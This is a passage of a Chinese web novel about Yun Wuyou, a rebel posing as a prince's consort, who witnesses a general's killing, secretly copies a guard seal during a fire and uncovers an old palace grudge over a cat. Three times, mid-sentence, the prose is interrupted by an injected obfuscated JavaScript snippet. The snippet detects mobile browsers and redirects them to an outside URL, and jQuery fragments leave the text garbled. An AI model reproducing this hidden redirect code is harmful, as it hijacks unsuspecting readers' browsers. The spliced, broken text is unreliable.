云无忧看了一眼面前花团锦簇的海棠树,点点头,接着对段檀道:
“小王爷似乎格外偏爱海棠?”
她记得天女散花那日,段檀往她头上戴的也是海棠花。
段檀道:“是你偏爱。”
原来是昭平郡主喜欢海棠。
云无忧有些僵硬的笑笑,没料到话本子里那种“你走后我便活成了你”的离奇桥段,竟然有一天会在她眼前上演。
段檀又扭头将目光投向海棠树,接着抬手摘起了树上品相不错的海棠花,每摘一朵就往云无忧发髻上插一朵。
云无忧任他摆弄,心道此鳏夫在亡妻离世后活得实在可怜,让让他也无妨。
不久后,段檀心满意足地收手,又拉着云无忧在树林里四处游走,二人时而追一只蝴蝶,时而逐一只野雀,好不惬意。
此时林中晴光正好,花气袭人,呆得久了,云无忧也难得放松了心绪,整个人染上温暖而懒怠的气息。
待走到一棵极高极壮的柳树前时,段檀抱着云无忧飞身而上,二人在树上坐下,段檀抬手摘下几段柳枝,专心致志编起了花环。
云无忧靠着树干昏昏欲睡,连段檀把她发髻上的海棠尽数摘走了都毫无察觉。
不知过了多久,段檀捏了捏云无忧的脸叫醒她,给云无忧看他编好的海棠花环。
云无忧拂开他在自己脸上作乱的手,半睁着眼睛极敷衍地赞了两句。
段檀仔仔细细地将花环在云无忧头上戴好,又在她脸上捏了一把,阻止了她继续小憩,抬眼看向远处道:
“好戏开场了。”
云无忧打了个哈欠,懒洋洋地顺着段檀的目光看去,却在一瞬间惊得瞪大了眼睛,瞌睡全无。
只见远处不知是谁家的院子里,两批带甲的士卒正刀兵相接,血肉飞溅,一个接一个的倒在了血泊当中。
云无忧忙问段檀:“那是谁家府邸?”
段檀眼中寒光一闪:“当朝大将军,岑丰。”
云无忧心中大震,岑大将军乃太后亲兄,又手握大央三大禁军中兵员最多的长河营,说权倾朝野也不为过,谁人如此大胆,敢在大将军府大开杀戒?!
此念一出,她脑海中迅速划过一个名字。
她深深地看了一眼段檀,想到此前她撞破岑大将军密谋刺杀良王之事,再思及今日段檀说要带她看戏,恐怕看的就是这一场戏。
但云无忧想不通的是,良王怎敢如此明目张胆的杀害岑大将军?即使不顾忌朝廷,难道连天下悠悠之口也不在乎吗?
这些疑问难以向段檀寻求答案,于是她转头继续看向岑大将军府。
士卒们拼杀了一段时间后,岑大将军终于露面,他被手持重盾的甲士们护在中间,一步步朝着府门口挪去。
可当他即将出府之时,却不知是被府外的谁逼杀,又狼狈的退回了府中。
岑大将军步步退,府外人步步进,很快,云无忧就看清了那个将岑大将军逼得走投无路之人的脸。
“那是……仇冲?!”云无忧猛然扭头看向段檀。
段檀点头,肯定了她所言:“的确是仇冲。”
云无忧问道:“仇冲不是你的副将吗?这是……”
段檀并未回答云无忧的疑问,而是另起话头道:
“先帝天授十五年一月,本就占据朔北的东翎人尽起境内之兵,进犯朔中,意图拿下整个朔州。
军情传到京城,先帝当即派岑大将军领精兵三万,星夜驰援。
但岑大将军抵达朔州,稳住边境后,做的第一件事不是反攻东翎人,而是构陷当时死守朔中的朔州牧霍燃通敌叛国,灭了霍家满门。
仇冲,就是当年的朔州牧霍燃之子,本名叫霍冲。”
云无忧惊愕:“岑大将军当年为何如此?”
段檀道:“这就要说到天授二年的那场朔州之战了。
那时先帝初登大宝,前一年又靠天将军邓显赢了和北戎人的沧州之战,踌躇满志,领兵十万御驾亲征,想要从东翎人手上拿回朔北,一统中原。
谁知他攻打朔北不到一月便全线溃败,在东翎人的追击下连夜窜逃,最后孤身驾车奔袭二百余里,才得以保全性命。
等他再回军营之时,随行诸将以为他早已阵亡,正欲拥立太子为帝。
而带头拥立太子之人,便是霍燃。”
云无忧若有所思:“所以要灭霍燃满门的人不是岑大将军,而是先帝。”
段檀道:“不错,先帝回营后虽未当场发作,却在半月后就以太子阴谋联合东翎人,意图篡位谋反为由,将太子废杀。”
云无忧有些想不通:
“先帝当时既然连他亲儿子都杀了,为何会留霍燃到十多年后呢?”
段檀唇角扯出一个讽刺的笑:
“废太子可不是先帝的亲儿子,他是太宗长子,先帝即位时为洗脱弑兄嫌疑,才将他立为太子。”
“至于霍燃,他毕竟功勋卓著,在朔州素有人望,再加上先帝当时因废杀太子之事,引起满朝轩然大波,自顾不暇,便搁置了他。”
云无忧道:“所以,十多年后先帝根基已然稳固,又恰逢东翎人犯关有了由头,便正好清算起从前遗留下的旧事。”
段檀颔首,肯定了她的揣测。
云无忧眉心皱起,一针见血:
“如此说来,岑大将军不过是先帝手中的一把刀,先帝才是罪魁祸首。”
段檀目光飘向远处,淡淡道:“你说得不错,可谁敢去恨先帝呢?”
闻言云无忧默然片刻,之后又将目光投向了岑大将军府。
二人谈话间,大将军府里的拼杀已有了结果,此刻霍冲浑身是血,一刀斩下了岑大将军的头颅,血瀑喷溅,岩浆般侵蚀他整张面孔,他甲胄也裹上一层黏稠血膜,形如厉鬼,跪地长啸。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506065|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
没多久,府外又冲进来一批人马,将霍冲等人团团围住,给他们戴上了枷锁,押送出府。
见此云无忧转头问段檀:“你不救他吗?”
段檀挑眉:“我此时救他,无异于害他。”
“戏也看完了,咱们走吧。”
语罢他便抱着云无忧跃下柳树,二人一路回了良王府。
翌日云无忧入宫授课时,岑大将军遭人杀害的消息已传遍宫闱,听说岑太后怒不可遏,誓要夷灭凶手三族。
朝中的岑大将军一党也都是义愤填膺,上的奏折纷纷扬扬,简直要把重明宫给淹了。
而良王此时却在早朝上揭示霍冲身世,请命重查当年朔州牧霍燃通敌一案,两方一时斗得不可开交。
不过这些都跟云无忧关系不大,她今日最烦的是,射艺课的学生竟然都来齐了,一个个嗷嗷待哺,齐刷刷的叫她师傅,她轮番指导过去,差点在靶场累趴。
程鸢莫明不给她使绊子,日子好端端的坏起来了。
申时左右走出长乐门,云无忧揉着肩膀唉声叹气,真心怀念着从前只有一个学生的日子。
而后她轻车熟路地走过凤凰街,拐进梧桐巷,刚迈进巷口,就看见信平侯府方向火光大起,浓烟肆虐。
她大惊,飞速跑向信平侯府想弄清楚状况。
可到了信平侯府门口,只见下人们在凶猛的火势下乱作一团,根本没人顾得上她。
云无忧见状一咬牙,朝着矮墙方向赶去,好在茅屋处尚未起火,她利落的从矮墙处翻进信平侯府,想去找羽林军军印。
可一落地,她反而迟疑起来,说老实话,这信平侯府里,能搜寻的地方她都搜寻过,但就是连军印的影子都看不见,此时府中大乱,她又该去哪里找军印呢?
侯府上空喷涌的炽流愈发爆烈,天际都因此扭曲,云无忧仰头望着那片浓烟凝成的巨大黑云,在原地伫立片刻,突然福至心灵——这侯府里还有一个地方她不曾搜寻过。
云无忧环视四周毫无防卫的简陋环境后,抬腿迈进了茅屋中。
屋里陈设虽然极简单,可云无忧略微扫了几眼便知,此处一定有人时常居住。
难道真是灯下黑?
她一寸一寸地搜寻起屋内,终于在床头暗格里找到了一个上锁的木匣。
云无忧心如擂鼓,拔下头上银簪将尾端弯了几弯,插入锁孔拨弄几下后便打开了木匣。
果然,木匣中静静躺着的,正是她梦寐以求的羽林军军印。
她捧着匣子思索片刻,从裙底扯下一块白布,咬破手指将血挤在掌心,用军印蘸取鲜血后,摁在了白布上。
将印着军印图样的白布塞进胸口后,云无忧把屋中的一切都复原,这才转身离开。
但正当她走到矮墙前准备翻越之时,却听见了一声高起的尖锐哨音。
云无忧本想不顾,可那哨音越来越急,听得她心烦意乱,竟鬼使神差地寻向了哨声的来处。
她在一处几乎被火光吞噬的屋子前驻足,只听屋中断断续续传来了呼救的女声:
“救命!救我!”
是昌平公主的声音。
18. 救命之恩
云无忧环顾四周,不见一个人,她犹豫片刻,终究不忍心见死不救,于是便硬闯进屋子里试图救出昌平公主。
耳边噼啪炸响,呼吸灼热如沸,云无忧觉得自己简直像一张快被烧透的纸,好在一路烟熏火燎之下,总算顺利找到了昌平公主。
此刻昌平公主灰头土脸,泪水纵横,发髻都被烧秃了一块,蜷在妆台下抖得可怜,哪还有半点平日里趾高气扬的样子。
见到云无忧,昌平公主攥着哨子的手落了下去,泣不成声道:
“程曜灵……怎么是你……我这么快就死了吗……我还没来得及见一见母后……”
云无忧见状在她胳膊上狠掐了一把,大声喊道:“不想死就跟我走。”
昌平公主闻言如梦初醒般起身,鹌鹑似的缩着脖子跟在了云无忧身后。
然而她们没走几步,面前便掉下一根房梁拦住去路,云无忧本想再绕一绕,但祸不单行,这时不知何物从上方坠下,狠狠砸中了她的脊背,痛得她一时动弹不得。
喉间血腥气翻涌,她肌肤被火烘得生疼,汗水滴进眼里,视线一片模糊。
眼看着是出不去了,云无忧强撑着扫视一圈,找了个角落和昌平公主一起躲过去。
她此时头昏眼花,全身作痛,但还记得军印的事,从胸口掏出那块白布,将簪子的尾端在火中烧红,而后对着身旁只知道哭的昌平公主道:
“别哭了,会画画吗?”
昌平公主噙着泪对她点头。
她将白布和簪子都递给昌平公主,伸出手臂虚弱地喘着气道:
“将这个图样,刻在我小臂上方,别多问。”
她的手实在颤的太厉害,只能找别人刻。
那图样颇为复杂,昌平公主虽然不解,但依言照做,费了些功夫才在云无忧的小臂上复刻完成。
云无忧收回手,看到小臂上那个丝毫不错的军印图样,煞白的脸上扯起一个满意的笑,现在只要她没被烧死,就能把军印带出去。
昌平公主看她居然还有心情笑,眼泪又开始往外涌。
云无忧艰难地呼吸着,心道昌平公主的眼泪要是能把这屋子淹了,也算是功德一件,只可惜她没那神通,哭也白哭。
她伸手拿回银簪,又将白布投入火中毁尸灭迹,以防被人察觉,后对昌平公主道:
“接着吹你的哨子,只要还有气,就一直吹,总能引来人的。”
生死时刻,昌平公主对她言听计从,登时掏出哨子使劲吹了起来。
云无忧看着她唇边的哨子,心道不愧是公主,连哨子上都讲究地刻着朵漂亮的芍药花。
哨音响了半天,还是不见人来,云无忧不禁苦笑:
“公主殿下……这次我是真的要被你害死了……”
刚拿到军印就要没命,辜负了那些陷在狱中的盟众,她真是死也不能瞑目。
昌平公主此时连吹哨的力气也没了,她靠着云无忧,面色恍惚,口中不知在念些什么。
云无忧努力晃了晃昌平公主的肩膀,试图让她保持清醒。
可昌平公主看到她的脸就是一通胡言乱语:
“你死了也活该……谁让你杀了晋哥哥……你该死!”
“为什么不跟我说话……塞北蛮夷……除了本宫还有谁看得起你!”
头脑渐渐被窒息感侵蚀,眼前越来越黑,失去意识之前,云无忧听到昌平公主说的最后一句话是:
“程曜灵……阿云隹不是我杀的……”
语气里是十足的委屈。
……
再次恢复意识的时候,云无忧只觉得浑身灼痛,脊骨、手臂和喉咙尤其痛,脑子里除了痛就是渴。
她张了张嘴发出微弱的声音:
“水……”
身体被人轻轻扶起,唇边也有水递来。
云无忧小口啜饮着,喝完一杯水后,终于有力气睁开眼睛。
眼前的景象逐渐清晰,她认得这是良王府里段檀的卧房。
抬眼看向身后被她倚靠着的人,果然是段檀。
云无忧轻声开口道:“多谢小王爷照顾。”
段檀将她放回床上,脸冷得没有丝毫温度,动作却极小心。
“你现下感觉如何?”段檀坐在床边问她。
云无忧喘了口气道:“还好,就是有些痛。”
“我去叫太医。”段檀起身离去。
云无忧则在段檀身后咧开嘴笑了起来,她好不容易死里逃生,如今连看到段檀这张熟悉的死人脸都倍感亲切。
段檀走出卧房后,她费力抬起胳膊,见到小臂上完好无损的羽林军军印图样后,面上笑意更浓。
杨弈这种王孙公子恪守男女大防,不会窥视女子身体。
她被救出后的换衣敷药之事,定然是婢女所为,而婢女就算看到这伤处,又怎么可能认得绝密的羽林军军印?最多当作一处有些怪异的烧伤罢了。
……
太医看完诊离去,云无忧躺在床上,被段檀裹得只露出个头,问他:“小王爷,我昏迷多久了?”
段檀站在床边居高临下地看着她,冷冷地吐出了两个字:“三年。”
云无忧浅浅地笑:“小王爷莫打趣我。”
段檀见她现在这副连笑都没力气的虚弱样子,别开了眼睛,抿唇不言。
而云无忧看着他的脸又问了一遍:“小王爷,我到底昏迷了多久?”
段檀抱臂偏过头去,冷声道:“五天。”
云无忧心中算了算日子,发现离月末约定交印的时间还早,顿时松了一口气,也有兴致调侃段檀了:
“小王爷这般冷着脸,我如临数九寒冬,瑟瑟发抖啊。”
段檀望着她冷笑:“若觉得我身旁如临寒冬,不妨再去趟信平侯府的火场暖暖?”
他说话忒刺人,云无忧只得赔笑,转移话题道:“对了,昌平公主如何了?”
段檀面无表情:“比你强。”
“那便好……”一阵困意袭来,云无忧又陷入了沉睡。
云无忧到底是习武之人,身体底子本就不错,加之太医和段檀的悉心照料,她恢复得极快,没多久便行动无虞。
月末,她又来到飞雪楼。
走进楼中,云无忧在一层站定后,盟主声音响起:
“军印带来了吗?”
云无忧道:“幸不辱命,还请盟主给我纸笔。”
楼上一张纸飘飘荡荡的掉了下来,楼梯口的大长老又递给她一支蘸满了墨的笔。
云无忧就近找了张木桌,挽起袖子,将小臂上的军印图样分毫不差地画在纸上,交给了大长老。
大长老上楼将纸张呈给盟主后,盟主嘶哑的声音中难得含着一丝赞赏:
“无忧,你做得很好,即日起,你便是我飞雪盟的少盟主了。”
盟主话音刚落,楼里众人便爆发出一阵欢呼,为云无忧庆贺。
云无忧仰头环视一圈,脸上绽出一个纯然喜悦的笑容。
欢呼声停歇后,盟主的声音再度响起:“无忧,下月末,我要良王父子月内接
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506066|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
触过的官员名单,为免身份暴露,接下来的京郊劫狱之事,你就不必参与了。”
闻言云无忧神情一顿,但还是什么都没问,干脆地应承了下来。
她虽想回盟中,但盟主如今既然另有任命,她也遵从,总归是为盟里效力,不拘在何处。
云无忧再回到良王府时,正撞上段檀送杨弈出府。
骤然在路上相遇,三人都有些意外,杨弈率先对云无忧开口,语气熟稔道:
“侯府大火后我焦头烂额,无暇到王府来看望你,不知你伤势恢复得如何了?”
云无忧记得她昏迷前岑大将军党和良王党还在为了霍冲的事打得难解难分,这才过了多久,杨弈这个岑党中坚竟敢明目张胆地跑来良王府,当真是让人始料未及。
收拢了思绪,云无忧对他欠身行礼:
“劳侯爷记挂,我已无大碍,那日我到侯府,原是在街上得了一琴谱,听人说不错,便想拿给侯爷看看,不巧遇到大火被困其中,连琴谱也葬身火海了。”
云无忧这番话,是想解释她当日为何在信平侯府,等将来东窗事发,也好有个说法。
杨弈闻言温和笑道:
“琴谱都是小事,人平安便好,那日救你出火场时看你遍体鳞伤,我真是吓得不轻,如今见你已然大好,我总算能把心放回肚子里了。
你若实在放不下那琴谱,改日你我同到市集,我带你再挑一本。”
云无忧含笑点头,但还没等她开口感激杨弈,段檀便在一旁嗤笑道:
“杨遥臣,你这话说的,倒像是你把我世子妃从火场里救出来的一般。”
杨弈看向段檀坦荡道:“此乃小王爷之功,微臣怎敢冒领。”
将二人所言收入耳中,云无忧眉梢微动,心道段檀方才要是不插话,她恐怕真会把杨弈当成救命恩人,这姓杨的说话本领实在是让人叹服。
不过……既然她人是段檀救的,那换衣敷药之事跟姓杨的就更没关系,看来盟主劫狱之前,她应当是不会有暴露的风险了。
此时段檀微抬下颔,蔑视杨弈道:“我救我的世子妃天经地义,谈何功劳。”
“倒是你,家宅大火不见踪迹,连妻子都是旁人所救,还敢在这里面不改色的侃侃而谈,不觉羞愧吗?”
杨弈谦逊受教:“小王爷所言甚是,还要多谢小王爷救出昌平公主,微臣感激不尽。”
一拳打在棉花上,段檀心中愈发燥郁,冷着脸对杨弈撂出一句:“看顾好你自己的妻子,手莫伸得太长,好走不送。”
语罢便拉起云无忧的手腕直奔内院卧房,丝毫不顾身后的杨弈作何反应。
卧房中,二人双双在外间落座,云无忧本想感谢段檀当日救命之恩,却刚坐下就听见段檀一记重拳砸在桌上,咬牙切齿道:
“你还要再被杨遥臣害死几回才肯罢休?”
云无忧一怔,她不明白段檀这话的意思,也不知道这话是否在对她说。
一片静寂中,段檀的愤怒如同被强行禁锢住的风暴,正在他身体里蓄势待发,等着摧毁整个天地。
而云无忧看着段檀那张阴沉得几乎让人喘不上气的脸,唇齿动了动,还是没说出什么话来。
段檀阖目克制良久,攥拳攥得指节都泛起青白。
不多时,他一把将身侧的桌子掀翻,桌上茶盏随之摔落在地,碎片中溅出的茶叶梗还冒着热气。
而后他转头盯住云无忧的双眼,神色平静到诡异:
“今后除了重明宫和良王府,你哪里都不能去。”
19. 彼时青衫
段檀这话未免太霸道,若是从前云无忧定要扞拒,可此时,她只是垂下眉目,缓缓伸出双手,动作轻柔的覆上了段檀的拳头。
段檀垂眸看向云无忧的手,神色微怔,不由自主地卸了拳上的力道。
云无忧柔声道:“我知道信平侯府大火那日,你一定吓坏了。”
“但我现在不是正好端端地站在你面前吗?”
话到此处,她对段檀绽出了一个温情的笑。
段檀抬眼凝视着这个笑,一时间连呼吸都要遗忘。
云无忧继续道:
“从前都是我的不是,让你担忧了,今后我再也不会踏足信平侯府一步。”
“相信我一回好吗?司年。”
她轻轻摩挲着段檀的拳头,语气诚恳,神色祈求。
段檀从未见过云无忧这般模样,霎时脑中一片空白,只听得见胸腔里震耳欲聋的心跳声。
半晌后,他回过神来,避开云无忧的眼睛低声道:“你不准骗我。”
这就是答应了,云无忧于是抬手,在段檀眼前做了个拉钩的手势,朗笑一声:“一言为定。”
段檀缓缓勾上她的手,久久注视着二人勾缠在一起的小指,轻声道:“一言为定。”
这约束根本毫无效力,而他竟然就这么轻易地妥协了。
明明上一刻还是杀气腾腾的嗜血猛兽,可只要云无忧对他笑上一笑,他就甘愿拔下所有爪牙,变成最温驯的家宠,一个不字也说不出口。
简直像饮鸩止渴,他几乎隐隐预感到眼前这个人日后会带给他怎样的灭顶之灾。
但他顾不上安危了,早在九年前遇到她的时候,他就已经被她毁掉了一生,如今是刻舟求剑也好,长绳系日也罢,他绝不会再放手。
段檀在云无忧身上立定一种近乎自毁的心志,然而此刻,他视线不曾触及的地方,云无忧脸上的笑意却渐渐收敛,眼中一丝情绪也无。
她从前为军印在杨弈那里扮芳心暗许,如今为良王党名单则是跟段檀演郎情妾意,横竖都是做昭平郡主的赝品,于她而言并无差别。
之后云无忧又在王府中休养了几日安抚段檀,直至五月初才回到北宫女学执教。
这日教完射艺出宫的路上,她再次遇到了那个带着美貌太监的素衣女子。
素衣女子将手搭上云无忧的肩膀道:“又相逢了,你我还真是有缘。”
云无忧挪了挪脚步,试图避开素衣女子的手:“我看不是有缘,是姑娘你有心。”
哪有人站在路中间一动不动,摆明了就是来堵她的。
素衣女子轻笑一声,牵住云无忧的手腕往前走去:“过来陪我喝几杯。”
她的言行太过熟稔自然,云无忧都恍惚了一瞬,几乎要以为她们是相识多年的老友。
头脑清明后,她思索片刻不欲拒绝,于是好奇道:“姑娘这是要引我去何处?”
素衣女子道:“紫宸殿。”
紫宸殿可是皇帝寝宫,云无忧眨了眨眼问她:“咱们去紫宸殿做什么?”
素衣女子平静道:“自然是谋权篡位。”
云无忧心口猛地一跳,停下脚步。
素衣女子回头:“怎么?怕了?”
云无忧道:“姑娘莫要玩笑。”
虽然知道素衣女子所言大抵是在胡诌,但她说话时的口气实在太理所当然。
云无忧一个反贼,心里本就有鬼,听了实在很难不多想。
素衣女子漫不经心道:“怕什么,当今陛下心智若孩童,你我哪一个坐上龙椅,都比他强十倍不止。”
云无忧面色一肃,甩开她的手:“姑娘慎言!”
话虽没错,但这里是皇宫,眼前这女人也太口无遮拦了些。
素衣女子打量她片刻,忽地笑出声来:“怎么跟她一样好骗,真是蠢得招人爱。”
云无忧有些疑惑的看着她,迟疑道:“姑娘口中的‘她’,是指昭平郡主?”
素衣女子并未回答,继续拉着她走到了含仪殿后方的一处桃林,在一棵桃花树前停下脚步。
目之所及,春光大好,风拂过,花枝乱颤,红浪翻飞,浓烈的桃香喧嚣着涌至人前,云无忧抬手,轻易便捉住了一片对她投怀送抱的绯瓣。
素衣女子动动指头,一直随行的美貌太监就徒手在身前桃树下挖掘起来。
他用时颇久,终于从土里挖出一个大酒坛。
桃树下石桌旁,素衣女子带着云无忧落座,那美貌太监用衣服将酒坛擦拭干净后,跪在素衣女子身前将那坛酒双手奉上。
素衣女子接过酒坛,命他去远处候着,爽快地拔下酒塞往口中倒了一口酒,接着将那坛酒递给了云无忧。
云无忧接过酒学着她的样子闷了一口,正细细品味这宫廷御酒滋味之时,就听见素衣女子开口道:
“这坛桃花酿,是我们在天授十四年的初春埋下的。”
竟然不是宫廷御酒,云无忧抱着酒坛疑惑道:“你们?”
素衣女子道:“我和程曜灵。”
“酒方是平溪居士给的,这坛酒也是她撺掇着我们酿下的。”
“那时候我们都还不会喝酒,平溪居士哄我们说,总有一天会学会的。”
说到此处她低笑一声:
“其实就是她自己嘴馋了,又懒得动手,所以才想方设法使唤我们。”
“但程曜灵居然信了,酿酒时仔细得要命,真以为能喝到自己嘴里。”
见素衣女子兴致颇高,云无忧将酒坛递还到她手里。
素衣女子接过酒坛,一口接一口地灌着自己,她面颊渐渐生出两抹红晕,整个人也跟着滚烫起来,像一幅染上色彩的画,变得浓烈而鲜明,再没了之前那种不可捉摸的幽深。
饮罢,她一把将空酒坛摔碎在地,垂着头不知在想些什么。
云无忧看着眼前场面暗自咋舌,心道这酒量真不是一般人能有的,她想陪酒都够呛。
这时素衣女子抬眼看向云无忧,醉眼朦胧,面颊酡红,蓦地出声道:
“昌平死了,岑贵妃也快死了,我很高兴,以后再也没有人能欺负我们了。”
她口中说着高兴,眼里却有浓重得化不开的哀痛。
但云无忧此刻根本顾不上揣摩素衣女子的神情,她已经被方才听到的消
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15506067|170488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
息震懵了:
“你说昌平公主……死了?”云无忧难以置信地问道。
素衣女子凝视着她的脸:“她死了,你不高兴吗?”
云无忧略过了这个问题,急着追问:“她是怎么死的?”
素衣女子道:“被火烧死的。”
怎么会是被火烧死的?!
云无忧心神激荡,她分明记得段檀说过,昌平公主和她是一同被救出的,当时昌平的状况比她还好些,如今她都恢复如常了,昌平怎么会死?
心潮起伏间,她脑中突然闪过了大火那天,昌平对她说的最后一句话。
“你知道阿云隹是谁吗?这听起来不像是个中原人的名字。”云无忧向素衣女子问道。
素衣女子笑道:“这当然不是中原人的名字,这甚至不是一个人的名字。”
云无忧困惑道:“不是人的名字?”
素衣女子问她:“这名字你是从哪儿听来的?”
云无忧迟疑一瞬,还是坦诚:
“那日我与昌平公主一同被困火场,她对我说的最后一句话是:‘阿云隹不是我杀的’。”
素衣女子垂下眉目轻声道:“果然是她。”
“所以阿云隹是……?”云无忧追问。
素衣女子偏过头去,目光虚渺,落向桃林,林中乱红正簌簌而下,花隙碎光摇摇,好似又落在了当年,落在那两个并卧树下的小姑娘身上。
少女们梦中不觉,落花半掩身,青衫白衣交缠,都被花汁浸染,醒后只知玩闹,偏要抹花彼此的脸,直到筋疲力竭,才顾视一笑,相携而去。
那时花太好,风太香,天边云霞更是绚烂得让人睁不开眼。
然而转瞬就是许多年,青衫已成灰,白衣不如昨,如今哪怕她灌下整坛旧酒,也只得到一点自欺欺人的醺然。
“阿云隹是一只肖似虎形的狸花猫。”
或许是因为寂寞,或许是因为此时青衫,实在太像彼时青衫,她还是开口了。
“天授十三年的冬初,岑贵妃设梅花宴,邀女学师生前往。
当时程曜灵和昌平尚未交恶,我们赴宴路上,程曜灵在宫道旁发现了一只藏在草里的狸花猫。
昌平怕猫,说要将它打死,扔出宫去,程曜灵不肯,大骂她残暴不仁,执意护着猫,俩人吵得不可开交。
我看出那猫伤了腿,行动不便,于是和程曜灵一起将它抱回大吉殿的偏室里,程曜灵给它起名叫阿云隹,日日照看。
后来有一回,我们在偏室里撞见昌平踹阿云隹,程曜灵差点上去和她打起来,吼她不准靠近阿云隹。
可惜没过多久,程曜灵就亲眼看到阿云隹被昌平摔死了,她们俩因此决裂,从那时候起,程曜灵再也不肯跟昌平说一个字。”
将素衣女子的话尽数收入耳中,云无忧思忖片刻后不解道:
“既是如此,她那日在火场里,为什么要说阿云隹不是她杀的?”
都说人之将死其言也善,难道昌平是人之将死其言也骗?
素衣女子轻笑:
“因为阿云隹的确不是她杀的。”
云无忧怔住。
20. 雕花木哨
素衣女子目光飘远,望向天际,云霞黯淡,不似当年,她平静道:
“那日在昌平去偏室之前,阿云隹便不知是被谁摔死了,我见到后本要去告诉程曜灵,却看到昌平似是发现了端倪,想要进入偏室。
于是我便躲在屏风后面,看她一步一步靠近阿云隹,试探着提起猫查看。
她发现阿云隹断气时,吓得将猫脱手丢掉,你说巧不巧,正好就被程曜灵看见了。
她又有前车之鉴,程曜灵根本听不进解释,确认阿云隹死后就一把将她推倒在地,红着眼睛跑出了大吉殿。”
真相如此阴差阳错,云无忧不禁唏嘘:“竟是误会一场……”
素衣女子顿了顿又继续道:
“昌平踹阿云隹那回,其实也是阿云隹先咬了她,她衣袖下有新鲜的咬痕,我看得清楚,只是程曜灵太关心猫,根本没注意到昌平的不对劲。”
“她们俩,一个太傲慢,不肯辩解,一个太蠢钝,什么都看不出,落到这个下场,也是应得的。”
云无忧忍不住问她:
“你既然都知道,为何不告诉昭平郡主呢?”
素衣女子反问:“我为何要告诉她?”
云无忧怔忡了一瞬:“我以为你们是好友……”
素衣女子微笑:“程曜灵不和昌平决裂,我们怎么成为好友?”
云无忧僵硬地扯了扯嘴角,不知道自己该说些什么,只好沉默。
素衣女子见她兴致不高,扶着石桌缓缓起身,步子略飘地悠然而去了。
云无忧在原地枯坐半晌,直到天近黄昏才回神,迈步离开时,脚下不知踩到了什么,她挪开脚,发现竟是一只木哨。
她拾起木哨擦干净,仔细把玩一番后,发现它与昌平在火场那日拿着的哨子极为相似。
只是昌平的哨上刻着芍药,这只哨子刻的则是凌霄花。
云无忧四顾无人,再加上隐约觉得这哨子不一般,于是将其揣在了怀里,想着下回碰见素衣女子时,问问这东西可是她不慎遗落,以及昌平公主怎么也有一个相似之物,此物又是否与昭平郡主有关。
不得不承认,她如今对这三人的过往产生了极大的兴趣。
回到良王府中,云无忧百无聊赖地掏出哨子在小花园里吹了两声,哨音清亮,一时间惹得不少侍从注目。
花丛方向也传来了一阵稚嫩的笑声。
云无忧循着声音看去,见到一个双髻簪花、玉雪可爱的女童,看起来最多不过两岁,正坐在花丛里雀跃地拍手大笑,开心得眼睛都弯成了月牙。
目光触及女童脸庞的那刻,云无忧一动不动地僵在原地,宛如被谁偷走了心脏,哨子都脱手掉在了地上,嘴里不自觉地呢喃:
“安儿……”
此时那女童见她哨子掉了,从花丛中爬起身,跌跌撞撞地走过来,拾起哨子想交还给她。
云无忧见状回神,压下心头眼角的酸楚,接过哨子蹲下身平视着女童,抚着她的发髻柔声道:
“你是谁家姑娘?竟生得这般漂亮。”
眼前这孩子,实在生得太像已经夭折的林安……
女童却听不太明白她的话,眨巴着清澈的大眼睛看她,肉嘟嘟的小手在木哨附近不断比划,鼓着脸颊吹气。
云无忧明白过来,知道她是还想听哨响,心道她年纪这么小,大概是听不懂大人的话。
于是没再多问,笑着捧过女童软乎乎的脸颊,在她额上落下一个轻吻,又吹响哨子逗她,二人一时玩闹起来。
而这不断响起的哨音也招来了段檀。
他于附近伫立良久,在云无忧发现他后才迈步靠近,紧紧抓着云无忧的手,神色莫名道:“这是哪里来的?”
云无忧用另一只手将女童护在身后,有些不明所以:“我在宫里捡的,怎么了?”
看着段檀不同寻常的神色,她又道:“难不成小王爷识得此物?”
段檀并未分给女童半个眼神,直接从云无忧手中夺过那只木哨,垂下眉目细细把玩:
“宫中之物,又来历不明,放在你身上恐怕要惹出祸端,还是交给我为好。”
段檀答非所问,云无忧心中生出几分狐疑:“这哨子昌平公主也有一只,小王爷当真不知它的来历吗?”
段檀抬眼看她,淡淡道:“不知。”
语罢他便将哨子收好,离开小花园前往书房了。
云无忧则看着他逐渐远离的背影面色微诧。
方才段檀拿走木哨时的样子绝非寻常,似乎是有意在阻拦她探查与那木哨相关之事。
但一只哨子能藏着什么隐秘呢?
她眯起眼睛思索起来。
……
翌日云无忧入重明宫后,岑太后被囚禁于寝殿之事传得沸沸扬扬。
她想起之前素衣女子那句“岑贵妃也快死了”,心道素衣女子口中的岑贵妃大约就是如今的岑太后。
